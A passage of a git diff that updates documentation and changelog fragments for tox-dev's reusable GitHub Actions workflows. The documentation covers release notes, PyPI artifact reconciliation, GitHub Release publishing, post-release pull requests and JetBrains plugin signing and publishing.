pull_request: - schedule: - - cron: "0 9 * * 2" - workflow_dispatch: -permissions: {} -concurrency: - group: codeql-${{ github.ref }}-${{ github.run_attempt > 1 && github.run_id || 'current' }} - cancel-in-progress: ${{ github.run_attempt == 1 }} -jobs: - analyze: - name: ๐Ÿ›ก๏ธ Analyze - uses: tox-dev/github-workflows/.github/workflows/codeql.yaml@SHA - permissions: - contents: read - security-events: write - with: - languages: '["actions","python"]' - paths-ignore: '["tests"]' +build: + uses: >- + tox-dev/github-workflows/.github/workflows/validate-python-release.yaml@SHA + permissions: + contents: read ``` -- `languages`: JSON array of CodeQL languages, one job each; default `["actions","python"]`. -- `paths-ignore`: JSON array of paths CodeQL skips, written to its configuration; default `[]`. -- `queries`: Query suite or comma-separated query list; default `security-extended`. -- `config-file`: Repository path to a CodeQL configuration file. Use it instead of `paths-ignore`, which has no effect - when this is set; the file lists its own paths. -- `build-mode`: `none` (default), `autobuild`, or `manual`, for each language. +The caller needs a `build` group for backend constraints. `source` defaults to `.`. Use `artifact-prefix` when one tag +produces more than one distribution path; each call then writes a distinct `python-package-distributions` artifact. A +caller pinned to a workflow commit runs that commit's local Actions. Pass the cutoff inputs as for +`refresh-release-lock`. + +Publish only after the reusable workflow succeeds. Download the artifact with pinned `download-artifact` +[v8.0.2](https://github.com/actions/download-artifact/blob/9000827ccba6bdab643e8b6fd33ac0654aef8333/action.yml#L37-L45), +using `artifact-ids: ${{ needs.build.outputs.distributions-artifact-id }}`. The download checks the artifact digest and +selects the wheel and sdist from that build run. The caller keeps PyPI OIDC in its `release` environment job. -Each check run is named `๐Ÿ›ก๏ธ Analyze / ๐Ÿ›ก๏ธ Analyze `, not `๐Ÿ›ก๏ธ Analyze `. A ruleset that requires the -old name must require the new one. The workflow pins CodeQL Action v4.39.1 for both the init and analyze steps. +This reusable workflow does not render notes or create the GitHub Release. +[Render release notes and publish the GitHub Release](#render-release-notes-and-publish-the-github-release) shows the +notes and release jobs that run after the publish job. ## Render release notes and publish the GitHub Release @@ -983,314 +1000,173 @@ jobs: notes-artifact-id: ${{ needs.notes.outputs.artifact-id }} ``` -`render-release-notes` takes the same `package` input directly. Its `previous` input still defaults to `auto`, so -callers need no separate `select-previous-tag` step. - -## Expire cutoff exceptions - -A `[tool.nab]` exception that admits one package past the cutoff, `packages..uploaded-prior-to`, carries its -expiry date in a comment directly above the package table header or dotted key: - -```toml -# expires 2026-11-09 -[tool.nab.packages.release-creator] -uploaded-prior-to = 2026-11-02T21:45:00Z -``` - -Nab rejects unknown keys in a package table, so the date cannot sit beside the value. The date is the last day the -exception is valid. The check fails when an exception has no such comment, a malformed date, or a date that has passed, -and names the package. A standalone `nab.toml` is checked the same way. An exception in `[[tool.nab.package-rules]]` is -rejected, since the check does not read those tables; move it to a package table. - -The check runs in three places: - -- `upgrade-release-tools.yaml`, before it refreshes the lock. Every caller's scheduled run therefore fails on an expired - or undated exception, even when no release input changed. - -- `refresh-release-lock` in `check` mode, which `validate-news` calls when a pull request changes `pyproject.toml`, a - `pylock*.toml`, or `nab.toml`. - -- The `check-nab-exceptions` Action on its own. It reads `pyproject.toml` and `nab.toml` from the checkout and takes no - inputs: - - ```yaml - - uses: tox-dev/github-workflows/check-nab-exceptions@SHA - ``` - -## Open a maintenance pull request - -`open-maintenance-pr.yaml` opens or updates one pull request from a patch that a read-only job of the caller uploaded. -The caller uploads the patch as an artifact named `maintenance-patch` and passes its artifact ID. The reusable workflow -runs two jobs. `validate` applies the patch to a scratch index and leaves the checkout unchanged, then checks that every -changed path matches `allowed-paths` and that each change is a regular non-executable file or a deletion. `open` is the -only job that mints the App token. It runs in the `release-auth` environment, verifies the patch digest that `validate` -recorded, checks the paths and modes again, commits, and force-pushes `branch` with a lease. It then edits the open pull -request from `branch` into `base`, or opens one. - -```yaml -jobs: - generate: - runs-on: ubuntu-26.04 - permissions: - contents: read - outputs: - artifact-id: ${{ steps.upload.outputs.artifact-id }} - steps: - # ... produce the changes in the working tree, then write $RUNNER_TEMP/maintenance.patch - - id: upload - uses: actions/upload-artifact@UPLOAD_SHA - with: - name: maintenance-patch - path: ${{ runner.temp }}/maintenance.patch - if-no-files-found: error - open: - needs: generate - permissions: - contents: read - uses: tox-dev/github-workflows/.github/workflows/open-maintenance-pr.yaml@SHA - with: - artifact-id: ${{ needs.generate.outputs.artifact-id }} - allowed-paths: | - docs/*.md - site/static/diagrams/*.svg - branch: automation/update-diagrams - title: Update diagrams - body: Regenerate the diagrams from the scheduled scan. - labels: skip news - secrets: - RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} -``` - -- `artifact-id` **(required)**: ID of the `maintenance-patch` artifact from the same workflow run. -- `allowed-paths` **(required)**: Newline-separated shell glob patterns. A pattern is an exact path or a glob. Dots are - literal, and `*` also matches `/`. -- `branch` **(required)**: Branch that holds the maintenance commit. A later run force-pushes it with a lease, replacing - the earlier commit. -- `base`: Branch the pull request targets; default `main`. -- `title` **(required)**: Pull request title, also the commit subject. -- `body`: Pull request body. -- `labels`: Newline-separated labels to add. Each label must already exist in the repository. - -The caller grants `contents: read` to its job and passes `RELEASE_APP_PRIVATE_KEY`. The App needs Contents and Pull -requests write access on this repository only, as for `upgrade-release-tools`. Repository hooks and the caller's own -generation run in the read-only job, before the artifact exists. The reusable workflow never runs project code. - -**Output:** `number`, the pull request number. **Remote effect:** One force-pushed commit on `branch` and one pull -request into `base`. An open pull request with the same branch is updated; two open pull requests on one branch fail. +`release-notes.yaml` passes `package` to `render-release-notes`. The Action's `previous` input still defaults to `auto`, +so callers need no separate `select-previous-tag` step. -## Update Python dependencies +## Render GitHub Release notes -`update-python-dependencies.yaml` bumps the direct requirements in the files you name, regenerates `pylock.toml`, runs -the repository's hooks, and opens a dependency pull request. With `kind: app` (default) every bumped floor waits out the -cooldown, and so does every locked release. With `kind: library`, the groups in `fresh-groups` take their newest release -at once, and every other group waits. +`render-release-notes` checks the tag and its changelog section, finds the previous tag, and renders an unwrapped GitHub +Release body with `release-creator`. Call it on the actual tag in a read-only job with the full history. The release job +creates the Release; this Action only writes a local Markdown file. ```yaml -name: Update Python dependencies -on: - workflow_dispatch: - inputs: - cooldown: - description: Upload age a bumped release needs, such as 7 days; 0 days turns the cooldown off - type: string - default: 7 days - expedite: - description: Space-separated packages whose newest release skips the cooldown for this run - type: string - default: "" - schedule: - - cron: 0 8 * * 2 -permissions: {} -jobs: - update: - permissions: - contents: read - uses: tox-dev/github-workflows/.github/workflows/update-python-dependencies.yaml@SHA + - uses: tox-dev/github-workflows/render-release-notes@SHA with: - files: | - pyproject.toml tox.toml - cooldown: ${{ inputs.cooldown || '7 days' }} - expedite: ${{ inputs.expedite || '' }} - secrets: - RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} + tag: ${{ github.ref_name }} + changelog: CHANGELOG.md + artifact-url: https://pypi.org/project/example/${{ github.ref_name }}/ ``` -- `files` **(required)**: Newline-separated groups. Each line is one `bump-deps-index --file` run over its - space-separated paths, so a file that needs a different cutoff belongs in its own run. Paths are plain relative paths. -- `cooldown`: Upload age a bumped release needs; `7 days` by default, `N days` only. `0 days` turns the bump cooldown - off for the run. -- `expedite`: Whitespace-separated package names. Each one takes its newest release for this run, past the cooldown. It - changes only the bump. The lock still follows the cutoff in the caller's `[tool.nab]` table, so a locked package needs - a committed `[tool.nab.packages.NAME]` exception, which the next run keeps. -- `kind`: `app` (default) cools every bump. `library` keeps the `fresh-groups` dependencies fresh, passing - `--exclude-newer-group GROUP=false` for each, and cools the rest. Its tooling groups, the build backend, and the hooks - stay cooled. -- `fresh-groups`: Space-separated dependency groups for `kind: library`, default `project test`. `project` is the - `[project]` runtime dependencies and extras. The group names are validated, and the list is ignored for `app`. -- `exclude-newer` and `exclude-newer-package`: The upload cutoff for the `bump-deps-index` install from PyPI, `7 days` - by default, and newline-separated `name=date` overrides for it. The tool itself is tooling, so the default keeps it - cooled. A dated package override is the gw-level exception for a tool release that is younger than the cutoff. -- The `bump-deps-index` requirement is the `BUMP_DEPS_INDEX` constant in the workflow `env`. It must name a release with - `--exclude-newer-group` and `--exclude-newer-package`. -- `allowed-paths`: Newline-separated glob patterns for files that a repository hook rewrites, such as a generated - README. `pylock.toml` and every path in `files` are always allowed. -- `branch`, `title`, `body`, `labels`: Passed to `open-maintenance-pr`. Defaults: `update-python-dependencies`, - `Update Python dependencies`, and no labels. +- `tag` **(required)**: Release version, such as `1.2.3`. The checkout must contain its changelog section. +- `changelog` **(required)**: Tracked Markdown or reStructuredText changelog in the format that `release-creator notes` + parses, with exactly one section for the tag. +- `artifact-url`: Ecosystem release URL, such as a PyPI version page. Omit it for a GitHub-only project. A project that + publishes several packages puts one URL per line; the links share one line of the body, separated by commas. +- `artifact-label`: Link text for each `artifact-url` line, in the same order; default `PyPI release`. Use `Zipapp` or + another product name for a different artifact. `release-creator` adds an emoji for the link's ecosystem. +- `previous`: Previous tag, or `auto` (default) to calculate it from Git history. +- `package`: Package section of a shared Markdown changelog, such as `pyproject-fmt`; empty for one package. -The Action installs the locked release tools from the caller's `release-prepare` group, so the caller's `pylock.toml` -needs that group. It runs `refresh-release-lock` to upgrade the lock with Nab, then `cooled-prek` twice: the first run -may rewrite files, and the second confirms the result is stable. Put a repository's own formatting, README generation, -and other steps in its prek hooks. Besides the locked release tools, it installs Nab from PyPI under the seven-day -cutoff and `bump-deps-index` under `exclude-newer`. +The Action reads `GITHUB_REPOSITORY` for PR and comparison links. A repository with a shared changelog, such as +toml-fmt, passes its package name in the `package` input. -**Output:** No named output. **Remote effect:** Through `open-maintenance-pr`, one dependency pull request into `main`, -or none when nothing changed. +**Output:** No named output. **Working-tree effect:** The Action writes only `$RUNNER_TEMP/release-notes.md`. Pass it to +`gh release create --notes-file` only after the ecosystem publisher succeeds. It rejects an invalid tag, a missing +heading, an empty body, or a missing comparison link when an earlier tag exists. It does not write a GitHub Release, so +it needs only read permissions. -## Build maturin wheels +## Select the previous release tag -`build-maturin-wheels.yaml` builds a maturin extension for a JSON build matrix and uploads the wheels and sdist under -the artifact names the caller's publisher reads. The `source` job checks out the commit, runs the optional pre-build -command once, and uploads the source. Each matrix entry runs in its own `build` job, the `sdist` job builds the sdist -from the hash-checked build group, and the `gate` job fails when a job failed. Every job holds `contents: read` only. +`select-previous-tag` finds the preceding numeric tag using release-creator's version rules. The caller must check out +the tag history and install release-creator first. It reads Git tags and writes one step output; it does not change the +checkout or GitHub state. ```yaml -jobs: - build: - uses: >- - tox-dev/github-workflows/.github/workflows/build-maturin-wheels.yaml@SHA + - id: previous + uses: tox-dev/github-workflows/select-previous-tag@SHA with: - package-name: pyproject-fmt - package-path: pyproject-fmt - matrix: >- - [ - {"os": "ubuntu-24.04", "target": "x86_64", "artifact": "linux-x86_64", "manylinux": "2_28", - "python": "3.15 3.14t pypy3.11"}, - {"os": "ubuntu-24.04", "target": "aarch64", "artifact": "linux-aarch64", "args": "--zig"}, - {"os": "ubuntu-24.04", "target": "x86_64", "artifact": "linux-x86_64-315t", - "python": "3.15t", "args": "--no-default-features --features extension-module"}, - {"os": "windows-2025", "target": "x64", "artifact": "windows-x64", "python": "3.15 3.14t"}, - {"os": "macos-15", "target": "aarch64", "artifact": "macos-aarch64", "python": "3.15 3.14t pypy3.11"} - ] - post-build-command: uv run --no-project pyproject-fmt/build_backend.py dist - permissions: - contents: read + tag: ${{ github.ref_name }} ``` -Each matrix entry takes these keys: - -- `os`: runner label, used as `runs-on`. -- `target`: Rust target triple passed to maturin. -- `artifact`: suffix of the uploaded `-wheels-` artifact. -- `python`: space-separated interpreters for `--interpreter`; default `3.15`. -- `manylinux`: manylinux or musllinux policy; default `auto`. -- `args`: extra maturin arguments, such as `--zig`. +`tag` is required. Install `release-creator` on `PATH` before calling the Action. The `previous` output is empty when +this is the first matching release. -`package-path` is the directory holding the package's `Cargo.toml`; the sdist is built from it. `release-build` defaults -to `false`, but any tag ref runs in release mode too, so a tag caller can omit it. Release mode builds without sccache. -`workflow_call` defaults cannot be expressions, so the workflow combines the two inside. +## Reconcile PyPI artifacts -`pre-build-command` runs once in the source job from the checkout root, so every wheel job builds the same tree. Use it -for a version bump, which must happen before the source artifact is written. `post-build-command` runs in each wheel job -after maturin, from the checkout root with the wheels in `dist`. Vendoring belongs there, because maturin skips the PEP -517 hook that would otherwise vendor files. Both commands run under `bash -c`; the caller installs whatever they need, -such as cargo-edit for `cargo set-version`. +`reconcile-pypi-artifacts` compares the complete validated distribution directory with PyPI's Simple JSON API and +verifies a trusted-publisher attestation for each file. Upload the complete validated directory with the pinned PyPI +publisher. If a run fails, use "Re-run failed jobs" so the upload repeats with the same built files. Run this Action +after the publisher. A different digest in an already published file, unexpected or yanked file, malformed response, or +invalid attestation fails. The GitHub Release writer must depend on this verification. -The source job installs the `release-build` group of the caller's `pylock.toml` to read the maturin version. The sdist -job exports constraints from the `build` group. Both groups come from the lock that -[export-build-constraints](#export-constraints-for-a-build-matrix) reads, with the same `exclude-newer` inputs. +```yaml + - uses: tox-dev/github-workflows/reconcile-pypi-artifacts@SHA + with: + project: example + version: ${{ github.ref_name }} + dist: dist +``` -What stays in the caller: +`project`, `version`, and `dist` are required. The Action installs `pypi-attestations` on Python 3.15 under the +`exclude-newer` cutoff and waits up to 120 seconds for PyPI's listing to propagate. It compares every file in `dist` +with that listing, then runs `pypi-attestations verify pypi` on each local file against the caller repository. It prints +no credentials. -- Profile-guided optimization. A PGO leg needs an instrumented build, a training run, and a profile check inside the - same job. Simplint keeps its four PGO legs in a local job and passes the remaining matrix entries to this workflow. -- Version selection, README generation, and any other changes to the source beyond `pre-build-command`. -- Package checks on the built files, such as an sdist that must carry vendored code. The workflow inspects nothing - inside the built files; check them in the package's own `tox -e pkg_meta` run. -- Publishing. Keep PyPI trusted publishing in the caller's tag workflow. +## Publish a GitHub Release -## Prepare release-creator release +`publish-github-release` writes a GitHub Release from the rendered notes. Pass the exact notes file and the tag's commit +SHA. A retry resumes the existing draft and updates its title, notes, and prerelease flag, or succeeds without a write +when the Release is already published. -`prepare-release-creator.yaml` runs the same two-job split as -[prepare-towncrier-release](#prepare-and-tag-with-one-reusable-workflow). `assemble` has no App key. It selects the tag -from the tags and pending fragments, links fragments to their pull requests, optionally runs `cargo set-version`, runs -the caller's changelog command, adds New Contributors, formats the changelog with the `mdformat` prek hook, and uploads -the patch. `push` downloads that patch by ID, applies it with [validate-release-patch](#validate-release-patch) using -`allowed-paths`, mints a repository-scoped App token, and runs [commit-and-tag](#commit-and-tag-release). +Run it in a Contents-write job that downloads the notes and optional assets; it needs no checkout or tool installation. +[`github-release.yaml`](#render-release-notes-and-publish-the-github-release) runs this Action in `complete` mode after +the PyPI check. For a repository that must upload GitHub assets before PyPI, call the Action directly with +`mode: stage`, verify PyPI's exact artifact set, then call it with `mode: publish` and the same `assets-directory`. The +draft stays private until the second call succeeds. + +Enable immutable releases in the repository before using this Action. The Action checks a draft's assets again before +upload and publication. A published release whose API record is immutable has its assets checked from the release +listing, with no write or second fetch. Older mutable releases retain the asset recheck. ```yaml -jobs: - prepare: - uses: >- - tox-dev/github-workflows/.github/workflows/prepare-release-creator.yaml@SHA - permissions: - contents: read - pull-requests: read + - uses: tox-dev/github-workflows/publish-github-release@SHA + env: + GH_TOKEN: ${{ github.token }} with: - bump: ${{ inputs.bump }} - package: ${{ inputs.package }} - tag-format: '{package}/{version}' - cargo-set-version: true - cargo-set-version-args: -p {package} - assemble-command: >- - uv run --project "$PACKAGE" python tasks/generate_readme.py "$PACKAGE" && - python3 tasks/assemble_release.py "$PACKAGE" "$VERSION" - release-paths: | - CHANGELOG.md - Cargo.lock - uv.lock - {package}/Cargo.toml - {package}/README.rst - changelog.d/{package}/* - secrets: - RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} + tag: ${{ github.ref_name }} + commit: ${{ github.sha }} + title: ${{ github.ref_name }} + notes-file: ${{ runner.temp }}/release-notes.md ``` -Simplint's single-package release uses unprefixed tags and no package scope: +- `tag`, `commit`, `title`, and `notes-file` are required. The Action uses the caller repository; `commit` is the tag's + commit, used as the target when the Action creates the Release. +- Before it writes a draft, the Action asks GitHub to generate notes for the range from the previous tag in the notes' + `Full Changelog` link to `tag`, and adds GitHub's first-time contributors, bots excluded, as a `New Contributors` + section above the trailing links. The changelog file never carries this list. A published Release is left as it is. +- `assets-directory`: Optional directory of the assets to attach. The Action compares each filename and SHA256 digest + with GitHub's Release asset metadata, uploads missing draft assets, and rejects extra or changed assets. After + publication it verifies GitHub's release attestation for each local asset. +- `prerelease`: `true` or `false`; default `false`. +- `mode`: `complete` (default) creates or resumes a draft and publishes it in one call. `stage` creates or resumes a + draft and uploads assets without publishing. `publish` publishes the draft, creating it first if it is missing, after + checking its complete asset set again. + +**Output:** No named output. **Remote effect:** Depending on `mode`, the Action creates or resumes a draft, uploads +missing assets, and publishes only after the complete asset set matches. A published Release causes no write. A draft +with a different title, body, or prerelease flag is updated; a Release with a different asset set fails. A failed upload +leaves the draft for a later retry. The Action removes incomplete `starter` assets before retrying. It retries reading +the release by ID for up to ten seconds after draft creation or asset upload; a mismatch still fails when that window +ends. + +## Reconcile a post-release pull request + +`publish-post-release-pr` consumes a candidate commit prepared without an App token. The preparation job records the +base commit, desired branch, and a tab-separated file of changed paths and Git blob SHA1 values, then creates a Git +bundle containing `refs/heads/release-candidate` and its full history. A thin bundle fails verification in the writer's +empty bare repository. + +Upload the bundle, path file, and body as one artifact. Pass the upload step's artifact ID to the writer's download +step, so a rerun cannot select an older artifact with the same name. The writer runs without checkout under the caller's +`release-auth` environment and needs Contents, Pull requests, and Issues write access for its App token. Put +`publish-post-release-pr` last in the writer job because its Git credential helper remains available to later steps. ```yaml + - uses: actions/download-artifact@DOWNLOAD_SHA with: - bump: ${{ inputs.bump }} - tag-format: '{version}' - cargo-set-version: true - assemble-command: python3 tasks/assemble_release.py "$VERSION" - release-paths: | - CHANGELOG.md - Cargo.lock - Cargo.toml - changelog.d/* + artifact-ids: ${{ needs.prepare.outputs.artifact-id }} + path: prepared/ + - uses: tox-dev/github-workflows/publish-post-release-pr@SHA + env: + GH_TOKEN: ${{ steps.app-token.outputs.token }} + with: + base-commit: ${{ needs.prepare.outputs.base-commit }} + branch: post-release-${{ github.ref_name }} + title: Bump version to 2.4.8-dev + body-file: prepared/body.md + paths-file: prepared/paths.tsv + allowed-paths: gradle.properties + bundle: prepared/candidate.bundle + candidate-commit: ${{ needs.prepare.outputs.candidate-commit }} ``` -- `bump`: `auto`, `major`, `minor`, or `patch`, passed to `release-creator tags --next`. -- `package`: scopes tags to `package/` and fragments to `changelog.d/`. Empty for a single-package repository. -- `tag-format`: `{version}`, `v{version}`, `{package}/{version}`, or `{package}/v{version}`. A `{package}` format needs - `package`, and a format without it rejects `package`. -- `changelog`: tracked Markdown changelog; default `CHANGELOG.md`. -- `assemble-command` **(required)**: shell command that writes the changelog section from the fragments. It runs with - `PACKAGE`, `VERSION` (the bare number), and `TAG` set, and it may run the package's own build steps first. -- `release-paths` **(required)**: newline-separated glob patterns, the only paths the patch may change. `{package}` - expands to `package`. Each matched path may be added, modified, or deleted as a regular file; other modes fail. - `validate-release-patch` does not read the Towncrier configuration in this mode. -- `cargo-set-version`: run `cargo set-version` with the number before assembly; default `false`. - `cargo-set-version-args` holds the arguments before the number, such as `-p {package}`. Cargo and cargo-edit install - only when this is set. -- `annotated`, `release-auth-deployment`, `exclude-newer`, and `exclude-newer-package` match - `prepare-towncrier-release`. - -The caller keeps the `release-auth` environment with `RELEASE_APP_PRIVATE_KEY` and the `RELEASE_APP_CLIENT_ID` variable. -Assembly installs `release-prepare`, which contains release-creator, Towncrier, and prek. +The Action verifies that the candidate is a single-parent commit on `base-commit`, and checks its changed path set +against the writer's `allowed-paths`, its regular file modes, and its blob identities before any write. -What stays in the caller: +Pass the keyless job's `base-commit`, the desired `branch` and `title`, and the exact PR body in `body-file`. +`paths-file` contains one tab-separated path and desired Git blob SHA1 per line. The Action targets `main` in +`GITHUB_REPOSITORY` and applies `skip news` to the PR. -- The changelog. `assemble-command` writes it, because release-creator does not build a `## ` section in a - shared changelog. Simplint's `assemble_release.py` and toml-fmt's package sections both stay in the caller. -- Any Cargo or uv version change beyond `cargo-set-version`, such as `uv version --package` for a second Python package. -- The tag-triggered publisher, which stays in the caller repository. +A matching open branch and PR need no second push. If a matching branch has no PR, it creates one. A merged PR with a +deleted branch succeeds. A closed, unmerged PR fails before the Action creates a replacement branch or PR; reopen the PR +before retrying. When the prepared change has already merged and produced no new commit, pass empty `bundle` and +`candidate-commit` values with the same path manifest; the Action finds the merged PR. The Action has no named output. ## Check a JetBrains plugin `jetbrains-plugin-check.yaml` builds the plugin ZIP, records its SHA256, runs `verifyPlugin` for each `verify-matrix` -entry, and runs the Xvfb UI tests. Its `gate` job requires all of them. Lint and unit tests stay in the caller. The -workflow needs no secret and holds `contents: read`. +entry, and runs the Xvfb UI tests. Its `gate` job runs `required-checks` over `build`, `verify`, and `ui-test`. Lint and +unit tests stay in the caller. The workflow needs no secret and holds `contents: read`. ```yaml jobs: @@ -1306,9 +1182,56 @@ jobs: `version: 263-EAP-SNAPSHOT` to catch platform APIs the next release removes. - `ui-test-timeout`: seconds to wait for the test IDE to answer on port 8082. Default `300`. -The `build` job exports `archive-sha256`, `archive-name`, and `artifact-id` for `sign-jetbrains-plugin`. It selects -exactly one ZIP that matches the version, and it keeps Gradle's cache off because the ZIP feeds a signed release. The -`unsigned-plugin` artifact is retained for 30 days. UI-test reports upload on failure for 14 days. +The workflow outputs `archive-sha256`, `archive-name`, and `artifact-id` from its `build` job for +`sign-jetbrains-plugin`. It selects exactly one ZIP that matches the version, and it keeps Gradle's cache off because +the ZIP feeds a signed release. The `unsigned-plugin` artifact is retained for 30 days. UI-test reports upload on +failure for 14 days. + +## Sign a JetBrains plugin + +`sign-jetbrains-plugin` signs an unsigned plugin ZIP after a keyless Gradle `buildPlugin` job. Run it in a fresh job on +`ubuntu-26.04` with the signing environment, no checkout, and no Gradle invocation. Download the unsigned artifact and +pass the SHA256 emitted before that artifact was uploaded. + +The Action checks the file's digest, downloads JetBrains Marketplace ZIP Signer 0.1.43 from Maven Central, verifies its +pinned SHA256, and uses the runner's Java 17 installation. It accepts plain PEM or base64 credentials and an encrypted +private key with its password. The private key is mapped only into the sign step's environment. Its temporary file is +removed when that step ends. + +```yaml +sign: + needs: build-unsigned + runs-on: ubuntu-26.04 + environment: release + permissions: {} + outputs: + archive: ${{ steps.signed.outputs.archive }} + sha256: ${{ steps.signed.outputs.sha256 }} + steps: + - uses: actions/download-artifact@DOWNLOAD_SHA + with: + name: unsigned-plugin + path: dist/ + - id: signed + uses: tox-dev/github-workflows/sign-jetbrains-plugin@SHA + with: + archive: dist/Plugin-1.2.3.zip + sha256: ${{ needs.build-unsigned.outputs.archive_sha }} + certificate-chain: ${{ secrets.CERTIFICATE_CHAIN }} + private-key: ${{ secrets.PRIVATE_KEY }} + private-key-password: ${{ secrets.PRIVATE_KEY_PASSWORD }} + - uses: actions/upload-artifact@UPLOAD_SHA + with: + name: plugin-distribution + path: ${{ steps.signed.outputs.archive }} + if-no-files-found: error +``` + +`archive` and `sha256` identify the unsigned ZIP. `certificate-chain` and `private-key` supply the signing identity; +`private-key-password` is needed only for an encrypted key. The outputs are `archive`, the signed ZIP path, and +`sha256`, the digest to check after download in the publisher and GitHub Release jobs. **Remote effect:** downloads the +pinned signer JAR. It makes no GitHub or Marketplace write. The caller uploads the signed ZIP as a GitHub Actions +artifact after the Action succeeds. Keep the Marketplace token in a different no-checkout job. ## Stage and verify a JetBrains Marketplace release @@ -1344,12 +1267,72 @@ channel. Pass `channel` to `publish-jetbrains-marketplace`. mode: stage ``` +## Publish a JetBrains plugin + +`publish-jetbrains-marketplace` uploads one signed ZIP through the +[Marketplace upload API](https://plugins.jetbrains.com/docs/marketplace/plugin-upload.html). Run it in a fresh job +without checkout or Gradle. The release workflow must serialize runs for the same tag. Download the signed ZIP and +release notes by the artifact IDs from their producing jobs. The Action checks both before using the upload token. + +```yaml +marketplace-publish: + needs: [sign, notes] + runs-on: ubuntu-26.04 + permissions: + actions: read + environment: release + steps: + - uses: actions/download-artifact@DOWNLOAD_SHA + with: + artifact-ids: ${{ needs.sign.outputs.artifact-id }} + path: dist + - uses: actions/download-artifact@DOWNLOAD_SHA + with: + artifact-ids: ${{ needs.notes.outputs.artifact-id }} + path: ${{ runner.temp }}/notes + - name: ๐Ÿš€ Publish signed ZIP + uses: tox-dev/github-workflows/publish-jetbrains-marketplace@SHA + with: + archive: dist/Plugin-1.2.3-signed.zip + sha256: ${{ needs.sign.outputs.sha256 }} + plugin-id: '29973' + channel: '' + tag: ${{ github.ref_name }} + commit: ${{ github.sha }} + signed-artifact-id: ${{ needs.sign.outputs.artifact-id }} + notes-artifact-id: ${{ needs.notes.outputs.artifact-id }} + notes-file: ${{ runner.temp }}/notes/release-notes.md + github-token: ${{ github.token }} + publish-token: ${{ secrets.PUBLISH_TOKEN }} +``` + +`channel` is empty for Stable; use a Marketplace channel name for a prerelease. Keep the publishing step named +`๐Ÿš€ Publish signed ZIP`. The Action recognizes that name and three older upload step names in prior runs. Give the job +Actions read access and the workflow a concurrency group keyed by tag. Use the `release` environment on the upload job. + +The Action searches earlier tag runs for a started upload step. An acceptance receipt must match the original artifact +IDs, signed ZIP digest, and release notes bytes before the Action skips upload. An earlier upload step without a receipt +stops for manual reconciliation. A renamed publishing step is not recognized in earlier runs until the Action knows its +name. + +**Output:** A `marketplace-acceptance--` Actions artifact after a new upload. It records the tag, commit, +plugin, channel, signed ZIP artifact and SHA256, and notes artifact and SHA256. **Remote effect:** One multipart upload +to JetBrains Marketplace when no earlier acceptance exists, plus a GitHub Actions receipt artifact. The Action treats an +HTTP 2xx response as acceptance; it does not depend on undocumented response fields. Run the keyless release-creator +`marketplace --mode stage` check before this job and `--mode verify` after the version is public. + +If the Action stops without a receipt, inspect the exact plugin, version, and channel in the Marketplace dashboard. If +the update is pending review, wait until it is public and verify its member bytes against the original signed ZIP. Then +rerun the tag workflow: the keyless stage check must skip Marketplace upload before GitHub Release publication. If +Marketplace rejected the update, resolve the rejection and prepare a new release tag. A 404 alone does not authorize +another upload of the same tag. + ## Prepare the JetBrains post-release version `prepare-jetbrains-post-release` runs in a keyless job after a release. It requires a plain `X.Y.Z` tag, writes the next `X.Y.(Z+1)-dev` version to the version file, and writes `paths.tsv`, `body.md`, and `candidate.bundle` to `output-dir`. The writer job uploads those files with the App token from the `release-auth` environment, and passes them to -`publish-post-release-pr`. The composite does not touch the App token: it reads the App's public user ID with +`publish-post-release-pr`. The Action does not touch the App token: it reads the App's public user ID with `github-token` to author the commit. ```yaml diff --git a/changelog.d/+allowed-paths.change.md b/changelog.d/+allowed-paths.change.md deleted file mode 100644 index 70dafd8..0000000 --- a/changelog.d/+allowed-paths.change.md +++ /dev/null @@ -1,3 +0,0 @@ -`validate-release-patch` takes an `allowed-paths` input of glob patterns. When it is set, the patch may change only the -paths matching those patterns, and the Towncrier configuration is no longer read. Without it, the Action checks the -changelog and fragment deletions as before. diff --git a/changelog.d/+allowed-paths.feature.md b/changelog.d/+allowed-paths.feature.md new file mode 100644 index 0000000..2481e53 --- /dev/null +++ b/changelog.d/+allowed-paths.feature.md @@ -0,0 +1,3 @@ +Add an `allowed-paths` input to `validate-release-patch`. When it is set, the patch may change only the paths matching +those glob patterns, and the Towncrier configuration is no longer read. Without it, the Action checks the changelog and +fragment deletions as before. diff --git a/changelog.d/+build-maturin-wheels.feature.md b/changelog.d/+build-maturin-wheels.feature.md index 7be0e0b..eed8e61 100644 --- a/changelog.d/+build-maturin-wheels.feature.md +++ b/changelog.d/+build-maturin-wheels.feature.md @@ -1,4 +1,5 @@ Add `build-maturin-wheels.yaml`, a reusable workflow that builds a maturin extension's wheels and sdist from a JSON -build matrix. It uploads them under the artifact names the caller's publisher expects, builds from the hash-checked -build group of the caller's lock, and runs with no write token. Optional `pre-build-command` and `post-build-command` -inputs run the caller's own steps once before the wheels and on each wheel job's `dist` directory. +build matrix and uploads them under the artifact names the caller's publisher expects. Wheels use the maturin version +from the caller's hash-checked `release-build` group, and the sdist uses its `build` group. Jobs hold read-only +permissions. The optional `pre-build-command` runs once before the source upload, and `post-build-command` runs in each +wheel job after maturin. diff --git a/changelog.d/+check-nab-exceptions-action.feature.md b/changelog.d/+check-nab-exceptions-action.feature.md index 96a9498..9beaa59 100644 --- a/changelog.d/+check-nab-exceptions-action.feature.md +++ b/changelog.d/+check-nab-exceptions-action.feature.md @@ -1 +1,2 @@ -`check-nab-exceptions` runs the cutoff exception expiry check on its own, without the lock refresh. +Add `check-nab-exceptions`, a composite action that runs the cutoff exception expiry check on its own, without the lock +refresh. diff --git a/changelog.d/+check-workflow.feature.md b/changelog.d/+check-workflow.feature.md index e1f68f9..753b23e 100644 --- a/changelog.d/+check-workflow.feature.md +++ b/changelog.d/+check-workflow.feature.md @@ -1,2 +1,3 @@ -The `check.yaml` reusable workflow runs a tox matrix for a Python library, with each row's Python and runner, a -cutoff-bound tox install, optional Ubuntu packages, and optional coverage data for a caller job to merge. +Add `check.yaml`, a reusable workflow that runs a tox matrix for a Python library. Each row sets its Python and runner. +The tox install follows the upload cutoff, and Ubuntu packages and coverage data are optional; a caller job merges the +coverage data. diff --git a/changelog.d/+codeql-workflow.feature.md b/changelog.d/+codeql-workflow.feature.md index 89dd0b3..9b07a89 100644 --- a/changelog.d/+codeql-workflow.feature.md +++ b/changelog.d/+codeql-workflow.feature.md @@ -1,2 +1,2 @@ -The `codeql.yaml` reusable workflow runs CodeQL 